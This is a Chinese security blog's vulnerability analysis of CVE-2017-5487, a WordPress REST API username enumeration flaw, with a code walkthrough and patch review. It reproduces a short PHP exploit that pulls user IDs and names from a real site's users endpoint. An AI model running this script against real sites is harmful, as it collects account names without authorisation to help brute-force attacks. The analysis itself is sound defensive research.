漏洞分析
首页 > 安全文摘 > 漏洞分析> 正文

Wordpress Username Enumeration 漏洞分析

近日 exploit-db 上公布了一个 Wordpress < 4.7.1 的用户名枚举漏洞:https://www.exploit-db.com/exploits/41497/ ,实际上该漏洞于1月14号就已经在互联网上公布,并赋予了 CVE-2017-5487。

作者:p0wd3r来源:paper|2017-03-06 13:09:20

Author: p0wd3r (知道创宇404安全实验室)    Date: 2017-03-05

0x00 漏洞概述

漏洞简介

近日 exploit-db 上公布了一个 Wordpress < 4.7.1 的用户名枚举漏洞:https://www.exploit-db.com/exploits/41497/ ,实际上该漏洞于1月14号就已经在互联网上公布,并赋予了 CVE-2017-5487。利用该漏洞攻击者可以在未授权状态下获取之前发布过文章的用户的用户名、id 等信息。

漏洞影响

未授权状态下获取之前发布过文章的用户的用户名、 id 等信息。

触发前提:Wordpress 配置 REST API

影响版本:< 4.7.1

0x01 漏洞复现

环境搭建

下载相应版本的 Wordpress ,然后配置 REST API,具体参见:https://www.seebug.org/vuldb/ssvid-92637

复现

我们先看 exploit-db 上给出的 exp :

#!usr/bin/php
[email protected]
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');


$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){  
    echo "*-----------------------------*\n";
foreach($json as $users){  
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}

?>

可以看到它是利用 REST API 来获取用户的信息,对应的文件是wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php,接下来使用 exp 并且开启动态调试。

首先程序进入get_items_permissions_check函数:

/**
     * Permissions check for getting all users.
     *
     * @since 4.7.0
     * @access public
     *
     * @param WP_REST_Request $request Full details about the request.
     * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
     */
    public function get_items_permissions_check( $request ) {
        // Check if roles is specified in GET request and if user can list users.
        if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        return true;
    }

函数中有三个条件语句,如果条件成立就返回错误。但是仔细看每一个的条件都是 $request[xxx] && ! current_user_can( 'list_users' ),这也就意味者只要前面的语句不成立,那么后面的current_user_can('list_users')就失去了作用。至于$request['roles']、$request['context']和$request['orderby']的值,通过调试我们可以看到,三者值如下:

均不符合条件,所以函数返回true,成功通过了权限检查。

接下来程序进入了get_items函数,先是设置了一些查询参数然后使用$query = new WP_User_Query( $prepared_args );进行查询,我们直接在WP_User_Query的query函数处下断点:

$this->request即为执行的查询,其值如下:

SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users.ID IN ( SELECT DISTINCT wp_posts.post_author FROM wp_posts WHERE wp_posts.post_status = 'publish' AND wp_posts.post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10  

可见该 API 可以获取的用户必须满足以下几个条件:

发表过文章
文章的当前状态是publish
文章类型是post、page、attachment其中之一

在我们的环境中,admin 用户默认会有文章,所以我们执行 exp 后会得到 admin 的一些信息:

接下来我们再创建一个新的用户 tommy,再执行 exp 发现结果和上面一样,原因就是因为还没有发文章。我们登录 tommy 并发布一篇文章,然后再执行 exp:

这回就可以获取 tommy 的信息了。

0x02 补丁分析

Wordpress 官方给出的补丁如下:

Only show users that have authored a post of a post type that has show_in_rest set to true.

意思是仅当用户发表的文章的类型的show_in_rest属性为true时,才可以获取该用户的信息。

在代码层面上,补丁设置了$prepared_args['has_published_posts']的值,该值在构造查询语句时会用到:

if ( $qv['has_published_posts'] && $blog_id ) {  
            if ( true === $qv['has_published_posts'] ) {
                $post_types = get_post_types( array( 'public' => true ) );
            } else {
                $post_types = (array) $qv['has_published_posts'];
            }
...

将查询中的$post_type设置为show_in_rest=true的那些类型,那么哪些类型的show_in_rest为true呢?

在wp-includes/post.php中的create_initial_post_types函数中可以看到post、page和attachment的show_in_rest均为true,和补丁前查询中的类型一致,也就是说其实最新版本在默认情况下还是可以使用这个 exp 的,实际测试的结果也是如此:

至于为什么这样,笔者认为可能该 API 的设计意图就是让其他人获得发布过文章的用户的用户名,因为文章已经公开了,用户名自然也就公开了。这次补丁给了用户更多的定制化空间,因为用户可以自己通过register_post_type来创建文章类型,补丁中提供的show_in_rest属性可以让用户自己选择用户信息对于 API 的可见性。

本文写得实在仓促,如果哪里有不对的地方,还望大家多多指教。

0x03 参考

https://www.seebug.org/vuldb/ssvid-92732
https://www.exploit-db.com/exploits/41497/?rss
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60

【责任编辑:p0wd3r 】

分享:

安全快讯+更多

湖南青年杨某沉迷“黑客”技术,利用国外网络攻击网站的攻击服务,花钱请人开发成软件后,通过QQ群推销,并发展代理商销售,8个月内获利数万元。
6月13日,由赛可达实验室、国家计算机病毒应急处理中心、国家网络与信息系统安全产品质量监督检验中心、首都创新大联盟共同举办的第五届中国网络安全大会(NSC2017)在北京国家会议中心隆重举行。
《中华人民共和国网络安全法》已于6月1日正式实施并成为我国网络空间法治建设的重要里程碑,在确立安全在整个信息系统建设中的核心和关键地位的同时,也对保护公众个人信息安全起到了积极作用。
Shadow Brokers(影子经纪人)回应想哭勒索蠕虫事件,同时公布了一个月度销售计划,称自6月开始,每个月都有高危0day、黑客工具、机密数据售卖。
勒索病毒“WannaCry”(永恒之蓝)在全球范围内的爆发,恐怕是这几天影响力最大的公共安全事件了。